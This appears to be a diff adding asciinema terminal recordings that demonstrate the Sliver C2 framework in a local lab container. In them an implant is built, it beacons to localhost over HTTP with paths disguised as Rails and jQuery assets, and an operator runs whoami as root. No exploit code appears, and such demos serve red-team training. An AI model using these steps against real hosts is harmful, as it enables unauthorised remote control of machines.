[21.365772, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[21.470163, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[21.573427, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[21.678021, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[21.779433, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[21.879665, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[21.980575, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[22.081145, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[22.18192, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[22.282818, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[22.383597, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[22.48474, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[22.585755, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[22.686843, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[22.790361, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[22.891124, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[22.992712, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[23.093707, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[23.197777, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[23.300986, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[23.401728, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[23.504799, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[23.606212, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[23.706866, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[23.807765, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[23.908014, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[24.01079, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[24.110942, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[24.211659, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[24.315586, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[24.416244, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[24.517638, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[24.618868, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[24.719696, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[24.820824, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[24.921219, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[25.024697, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[25.125472, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[25.227906, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[25.329545, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[25.431121, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[25.535746, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[25.637704, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[25.738396, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[25.839173, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[25.939818, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[26.040732, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[26.141458, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[26.242474, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[26.343401, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[26.445216, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[26.545778, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[26.646418, "o", "\r\u001b[2K ⠹ Compiling, please wait ..."]
[26.746909, "o", "\r\u001b[2K ⠸ Compiling, please wait ..."]
[26.847203, "o", "\r\u001b[2K ⠼ Compiling, please wait ..."]
[26.947977, "o", "\r\u001b[2K ⠴ Compiling, please wait ..."]
[27.052613, "o", "\r\u001b[2K ⠦ Compiling, please wait ..."]
[27.153745, "o", "\r\u001b[2K ⠧ Compiling, please wait ..."]
[27.255223, "o", "\r\u001b[2K ⠇ Compiling, please wait ..."]
[27.357774, "o", "\r\u001b[2K ⠏ Compiling, please wait ..."]
[27.458739, "o", "\r\u001b[2K ⠋ Compiling, please wait ..."]
[27.558862, "o", "\r\u001b[2K ⠙ Compiling, please wait ..."]
[27.630638, "o", "\r\u001b[2K"]
[27.631736, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBuild completed in 14s\r\n"]
[27.644499, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mImplant saved to /root/MODERATE_SURFBOARD\r\n"]
[27.644786, "o", "\r\n"]
[27.653377, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[27.654061, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[27.656989, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[31.981685, "o", "\u001b[9D\u001b[9C\u001b[272D\u001b[0J"]
[31.983083, "o", "\r\u001b[2K\r\r\n\u001b[1m\u001b[36m[*] \u001b[0mBeacon 4e1347cb MODERATE_SURFBOARD - 127.0.0.1:60634 (98df0494f659) - linux/amd64 - Thu, 02 May 2024 14:24:14 UTC\r\r\n\r\n\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[31.991032, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[31.991827, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[33.285128, "o", "\u001b[?25l\u001b[272D"]
[33.287177, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.293558, "o", "u\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[33.293939, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
[33.417804, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.435433, "o", "us\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[33.438663, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
[33.469277, "o", "\u001b[?25l\u001b[272D"]
[33.471496, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[33.478651, "o", "\u001b[1m\u001b[32muse\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[12D\u001b[9C\u001b[272D\u001b[12C"]
[33.478999, "o", "\u001b[?25h"]
[33.561489, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[33.563865, "o", "\u001b[6n"]
[33.570806, "o", "\u001b[1m\u001b[32muse \u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[33.573643, "o", "\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D\u001b[13C\u001b[?25h"]
[33.878787, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[33.89625, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
[33.898594, "o", "\u001b[0 q\r\n"]
[33.924706, "o", "\u001b7\u001b[?25l\u001b8\u001b[0G"]
[33.925994, "o", "\u001b[2K"]
[33.928627, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;1;36m> BEACON 1b50b27b BLOODY_PRODUCER 127.0.0.1:60624 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON 4e1347cb MODERATE_SURFBOARD 127.0.0.1:60634 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON bee527cb DIGITAL_SKIN 127.0.0.1:60610 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7\u001b[1A\u001b[0G\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[35.316945, "o", "\u001b8"]
[35.317629, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K"]
[35.321232, "o", "\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m \u001b[0;36m[Use arrows to move, type to filter]\u001b[0m\r\n\u001b[0;39m BEACON 1b50b27b BLOODY_PRODUCER 127.0.0.1:60624 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;1;36m> BEACON 4e1347cb MODERATE_SURFBOARD 127.0.0.1:60634 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b[0;39m BEACON bee527cb DIGITAL_SKIN 127.0.0.1:60610 98df0494f659 root linux/amd64\u001b[0m\r\n\u001b7"]
[35.332932, "o", "\u001b[1A\u001b[0G\u001b[1A\u001b[0G"]
[35.818115, "o", "\u001b8\u001b[?25h\u001b8"]
[35.819976, "o", "\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[1A\u001b[0G\u001b[2K\u001b[0;1;92m? \u001b[0m\u001b[0;1;99mSelect a session or beacon:\u001b[0m\u001b[0;36m BEACON 4e1347cb MODERATE_SURFBOARD 127.0.0.1:60634 98df0494f659 root linux/amd64\u001b[0m\r\n\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mActive beacon MODERATE_SURFBOARD (4e1347cb-5544-42ad-8176-11b709ed07ed)\r\n"]
[35.861014, "o", "\r\n"]
[35.874314, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
[35.874462, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
[35.874695, "o", "\u001b[6n"]
[35.882556, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[35.882952, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[30D\u001b[30C\u001b[272D\u001b[30C\u001b[?25h"]
[37.049801, "o", "\u001b[?25l\u001b[272D"]
[37.054234, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[37.081351, "o", "w\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[37.081911, "o", "\u001b[272D\u001b[1A\u001b[31D\u001b[30C\u001b[272D\u001b[31C\u001b[?25h"]
[37.096001, "o", "\u001b[?25l\u001b[272D"]
[37.097776, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[37.101528, "o", "wh\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[37.102959, "o", "\u001b[272D\u001b[1A\u001b[32D\u001b[30C\u001b[272D\u001b[32C\u001b[?25h"]
[37.174672, "o", "\u001b[?25l\u001b[272D"]
[37.176441, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[37.181298, "o", "who\u001b[0m\u001b[0K\u001b[49m\r\r\n"]
[37.181574, "o", "\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[33D\u001b[30C\u001b[272D\u001b[33C\u001b[?25h"]
[37.331174, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[37.341057, "o", "whoa\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[37.343357, "o", "\u001b[272D\u001b[1A\u001b[34D\u001b[30C\u001b[272D\u001b[34C\u001b[?25h"]
[37.442292, "o", "\u001b[?25l"]
[37.446397, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[37.465938, "o", "whoam\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[35D\u001b[30C\u001b[272D\u001b[35C"]
[37.466232, "o", "\u001b[?25h"]
[37.504549, "o", "\u001b[?25l\u001b[272D"]
[37.505447, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[37.51437, "o", "\u001b[1m\u001b[32mwhoami\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[36D\u001b[30C\u001b[272D\u001b[36C\u001b[?25h"]
[37.796903, "o", "\u001b[36D\u001b[30C\u001b[6n"]
[37.801267, "o", "\u001b[272D\u001b[36C\u001b[0J"]
[37.802279, "o", "\u001b[272D\r\r\n\u001b[0 q\r\n"]
[37.814246, "o", "Logon ID: "]
[37.815227, "o", "root\r\n\r\n"]
[37.832461, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
[37.833266, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[37.837853, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[37.838595, "o", "\u001b[1A\u001b[30D\u001b[30C\u001b[272D\u001b[30C\u001b[?25h"]
[40.473897, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[40.48804, "o", "b\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[40.489204, "o", "\u001b[272D\u001b[1A\u001b[31D\u001b[30C\u001b[272D\u001b[31C\u001b[?25h"]
[40.606317, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[40.62038, "o", "ba\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[32D\u001b[30C\u001b[272D\u001b[32C\u001b[?25h"]
[40.660957, "o", "\u001b[?25l\u001b[272D"]
[40.661265, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[40.667821, "o", "bac\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[40.668033, "o", "\u001b[272D\u001b[1A\u001b[33D\u001b[30C\u001b[272D\u001b[33C\u001b[?25h"]
[40.791227, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[40.799243, "o", "back\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K"]
[40.800036, "o", "\u001b[0J\u001b[272D\u001b[1A\u001b[34D\u001b[30C\u001b[272D\u001b[34C\u001b[?25h"]
[40.993251, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
[40.995587, "o", "\u001b[6n"]
[41.000745, "o", "backg\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[35D\u001b[30C\u001b[272D\u001b[35C\u001b[?25h"]
[41.06113, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[41.077902, "o", "backgr\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
[41.079305, "o", "\u001b[36D\u001b[30C\u001b[272D\u001b[36C\u001b[?25h"]
[41.118457, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
[41.120423, "o", "\u001b[6n"]
[41.126434, "o", "backgro\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[37D\u001b[30C\u001b[272D"]
[41.127385, "o", "\u001b[37C\u001b[?25h"]
[41.169305, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
[41.170952, "o", "\u001b[6n"]
[41.17744, "o", "backgrou\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[38D\u001b[30C\u001b[272D"]
[41.177934, "o", "\u001b[38C\u001b[?25h"]
[41.262733, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > "]
[41.266163, "o", "\u001b[6n"]
[41.273687, "o", "backgroun\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[41.274231, "o", "\u001b[272D\u001b[1A\u001b[39D\u001b[30C\u001b[272D\u001b[39C\u001b[?25h"]
[41.439819, "o", "\u001b[?25l\u001b[272D"]
[41.450008, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m\u001b[1m\u001b[34m (MODERATE_SURFBOARD)\u001b[0m > \u001b[6n"]
[41.460762, "o", "\u001b[1m\u001b[32mbackground\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[41.461094, "o", "\u001b[272D\u001b[1A\u001b[40D\u001b[30C\u001b[272D\u001b[40C\u001b[?25h"]
[42.113141, "o", "\u001b[40D\u001b[30C\u001b[6n"]
[42.131751, "o", "\u001b[272D\u001b[40C\u001b[0J\u001b[272D\r\r\n"]
[42.132295, "o", "\u001b[0 q\r\n"]
[42.160131, "o", "\r\u001b[2K\u001b[1m\u001b[36m[*] \u001b[0mBackground ...\r\n\r\n"]
[42.171577, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[42.172151, "o", "\u001b[1 q\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.177026, "o", "\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[42.178208, "o", "\u001b[1A\u001b[9D\u001b[9C\u001b[272D\u001b[9C\u001b[?25h"]
[42.564114, "o", "\u001b[?25l"]
[42.567051, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.576669, "o", "e\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D"]
[42.577649, "o", "\u001b[1A\u001b[10D\u001b[9C\u001b[272D\u001b[10C\u001b[?25h"]
[42.775806, "o", "\u001b[?25l"]
[42.780983, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.788863, "o", "ex\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J"]
[42.792037, "o", "\u001b[272D\u001b[1A\u001b[11D\u001b[9C\u001b[272D\u001b[11C\u001b[?25h"]
[42.932546, "o", "\u001b[?25l"]
[42.934873, "o", "\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
[42.940362, "o", "exi\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A"]
[42.940862, "o", "\u001b[12D\u001b[9C\u001b[272D\u001b[12C\u001b[?25h"]
[43.072372, "o", "\u001b[?25l\u001b[272D\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[43.080373, "o", "\u001b[6n"]
[43.095139, "o", "\u001b[1m\u001b[32mexit\u001b[39m\u001b[22m\u001b[0m\u001b[0K\u001b[49m\r\r\n\u001b[0K\u001b[0J\u001b[272D\u001b[1A\u001b[13D\u001b[9C\u001b[272D"]
[43.095323, "o", "\u001b[13C\u001b[?25h"]
[43.314122, "o", "\u001b[13D\u001b[9C\u001b[6n"]
[43.318756, "o", "\u001b[272D\u001b[13C\u001b[0J\u001b[272D\r\r\n"]
[43.320795, "o", "\u001b[0 q\r\n"]
[43.335732, "o", "Exiting...\r\n"]
[43.371863, "o", "# "]
[44.165801, "o", "\r\n"]
@@ -0,0 +1,43 @@
{"version": 2, "width": 272, "height": 61, "timestamp": 1714660090, "env": {"SHELL": null, "TERM": "xterm"}}
[0.033058, "o", "# "]
[5.520586, "o", "/root/MODERATE_SURFBOARD"]
[6.245898, "o", "\r\n"]
[6.397188, "o", "2024/05/02 14:28:16 sliver.go:92: Hello my name is MODERATE_SURFBOARD\r\n"]
[6.397997, "o", "2024/05/02 14:28:16 limits.go:58: Limit checks completed\r\n2024/05/02 14:28:16 sliver.go:109: Running in Beacon mode with ID: 7cb11e89-2186-4e68-a09e-afe1872ae461\r\n2024/05/02 14:28:16 beacon.go:101: Starting beacon loop ...\r\n2024/05/02 14:28:16 transports.go:41: Starting c2 url generator () ...\r\n"]
[6.399539, "o", "2024/05/02 14:28:16 transports.go:104: Return generator: (chan *url.URL)(0xc0000d8600)\r\n"]
[6.401176, "o", "2024/05/02 14:28:16 beacon.go:117: Recv from c2 generator ...\r\n"]
[6.402627, "o", "2024/05/02 14:28:16 transports.go:92: Yield c2 uri = 'https://localhost'\r\n"]
[6.403338, "o", "2024/05/02 14:28:16 transports.go:92: Yield c2 uri = 'https://localhost'\r\n"]
[6.404033, "o", "2024/05/02 14:28:16 beacon.go:121: Next CC = https://localhost\r\n2024/05/02 14:28:16 beacon.go:167: Beaconing -> https://localhost\r\n"]
[6.405383, "o", "2024/05/02 14:28:16 beacon.go:121: Next CC = https://localhost\r\n2024/05/02 14:28:16 beacon.go:167: Beaconing -> https://localhost\r\n"]
[6.40654, "o", "2024/05/02 14:28:16 transports.go:92: Yield c2 uri = 'https://localhost'\r\n"]
[6.407194, "o", "2024/05/02 14:28:16 sliver.go:118: Next beacon = &{0xa0db40 0xa123e0 0xa0da20 0xa0da80 0xa12400 0xa0d9c0 https://localhost }\r\n"]
[6.43392, "o", "2024/05/02 14:28:16 httpclient.go:873: [http] segments = [rails log], filename = 422, ext = erb\r\n"]
[6.436322, "o", "2024/05/02 14:28:16 httpclient.go:354: [http] POST -> https://localhost/rails/log/422.cgi?j=1931v04942015 (266 bytes)\r\n"]
[6.463922, "o", "2024/05/02 14:28:16 httpclient.go:360: [http] http response error: Post \"https://localhost/rails/log/422.cgi?j=1931v04942015\": dial tcp 127.0.0.1:443: connect: connection refused\r\n"]
[6.472938, "o", "2024/05/02 14:28:16 httpclient.go:873: [http] segments = [vendor rails stylesheets], filename = jquery, ext = erb\r\n"]
[6.473208, "o", "2024/05/02 14:28:16 httpclient.go:354: [http] POST -> http://localhost/vendor/rails/stylesheets/jquery.cgi?j=u339121544924 (266 bytes)\r\n"]
[6.57564, "o", "2024/05/02 14:28:17 httpclient.go:403: [http] New session id: 70f17317dfc0a6ede97cc068544a22c6\r\n"]
[6.57626, "o", "2024/05/02 14:28:17 sliver.go:171: Registering beacon with server\r\n"]
[6.576727, "o", "2024/05/02 14:28:17 beacon.go:85: Interval: 60000000000 Jitter: 30000000000\r\n"]
[6.577308, "o", "2024/05/02 14:28:17 beacon.go:93: Duration: 1m22.112596514s\r\n"]
[6.579126, "o", "2024/05/02 14:28:17 uuid.go:44: Generating host UUID from hardware addresses ...\r\n"]
[6.581858, "o", "2024/05/02 14:28:17 sliver.go:582: Host Uuid: 3424b72e-e104-e99b-e183-dc60a7b751a0\r\n"]
[6.582597, "o", "2024/05/02 14:28:17 beacon.go:85: Interval: 60000000000 Jitter: 30000000000\r\n"]
[6.582843, "o", "2024/05/02 14:28:17 beacon.go:93: Duration: 1m7.519559765s\r\n"]
[6.59287, "o", "2024/05/02 14:28:17 httpclient.go:873: [http] segments = [vendor stylesheets rails], filename = jquery, ext = erb\r\n"]
[6.599451, "o", "2024/05/02 14:28:17 httpclient.go:498: [http] POST -> http://localhost/vendor/stylesheets/rails/jquery.erb?s=434x5691074e28 (302 bytes)\r\n"]
[6.661566, "o", "2024/05/02 14:28:17 httpclient.go:504: [http] POST request completed\r\n"]
[7.668978, "o", "2024/05/02 14:28:18 beacon.go:85: Interval: 60000000000 Jitter: 30000000000\r\n"]
[7.681551, "o", "2024/05/02 14:28:18 beacon.go:93: Duration: 1m24.64544484s\r\n2024/05/02 14:28:18 sliver.go:241: [beacon] sending check in ...\r\n2024/05/02 14:28:18 beacon.go:85: Interval: 60000000000 Jitter: 30000000000\r\n2024/05/02 14:28:18 beacon.go:93: Duration: 1m25.407017746s\r\n"]
[7.695718, "o", "2024/05/02 14:28:18 sliver.go:212: [beacon] sleep until 2024-05-02 14:29:42.825056298 +0000 UTC m=+86.004925590\r\n"]
[7.700968, "o", "2024/05/02 14:28:18 httpclient.go:873: [http] segments = [vendor log log], filename = jquery, ext = erb\r\n"]
[7.701908, "o", "2024/05/02 14:28:18 httpclient.go:498: [http] POST -> http://localhost/vendor/log/log/jquery.erb?v=52y9404190832 (100 bytes)\r\n"]
[7.778664, "o", "2024/05/02 14:28:18 httpclient.go:504: [http] POST request completed\r\n2024/05/02 14:28:18 sliver.go:254: [beacon] recv task(s) ...\r\n"]
[7.778861, "o", "2024/05/02 14:28:18 httpclient.go:873: [http] segments = [vendor vendor stylesheets vendor], filename = sidekiq, ext = rdoc\r\n"]
[7.779721, "o", "2024/05/02 14:28:18 httpclient.go:421: [http] GET -> http://localhost/vendor/vendor/stylesheets/vendor/sidekiq.rdoc?p=352795839974\r\n"]
[7.82062, "o", "2024/05/02 14:28:18 httpclient.go:304: Cancelling poll context\r\n"]
[7.824031, "o", "2024/05/02 14:28:18 sliver.go:279: [beacon] received 0 task(s) from server\r\n2024/05/02 14:28:18 sliver.go:235: [beacon] closing ...\r\n"]
[11.707654, "o", "^C"]
[11.739123, "o", "\r\n# "]
[12.871622, "o", "\r\n"]
@@ -0,0 +1,254 @@
{"version": 2, "width": 107, "height": 52, "timestamp": 1714578018, "env": {"SHELL": "/bin/bash", "TERM": "screen"}}
[0.137029, "o", "\u001b[?2004h"]
[0.145121, "o", "root@98df0494f659:~# "]
[0.385004, "o", "."]
[0.451485, "o", "/"]
[0.634333, "o", "s"]
[0.740583, "o", "l"]
[0.82046, "o", "i"]
[0.864396, "o", "v"]
[0.984357, "o", "e"]
[1.071525, "o", "r"]
[1.201247, "o", "-"]
[1.303713, "o", "s"]
[1.362719, "o", "e"]
[1.410026, "o", "r"]
[1.617065, "o", "v"]
[1.703823, "o", "e"]
[1.805676, "o", "r"]
[1.863145, "o", "\r\n"]
[1.871716, "o", "\u001b[?2004l\r"]
[2.944371, "o", "\u001b[35m\r\r\n ****@@ @@**** \r\r\n @@@@@@***@ @***@@@@@@ \r\r\n @%%@@@%%#***@ @***#%%@@@%%@ \r\r\n %%%%%##%%%%****@ @****%%%%##%%%%% \r\r\n %%%%#####%%%%#*###@ @#####%%%%#####%%%% \r\r\n @%%%*@#####%%%%@####@ @####@%%%%#####@#%%%@ \r\r\n %%%+@**#####%%%%#####@ @#####%%%%#####**@+%%%@ \r\r\n #%%=+*+**###%#%%%###### ######%%%%%###**+*+=%%% \r\r\n %#%===++@*####%@@@@###### ######@@@@%####*@++===%%% \r\r\n @#@--===+**%%%@@@@@@#####%% %%#####@@@@@@%%#**+===--@#@ \r\r\n #@----%=+*%%%%@@@%%%"]
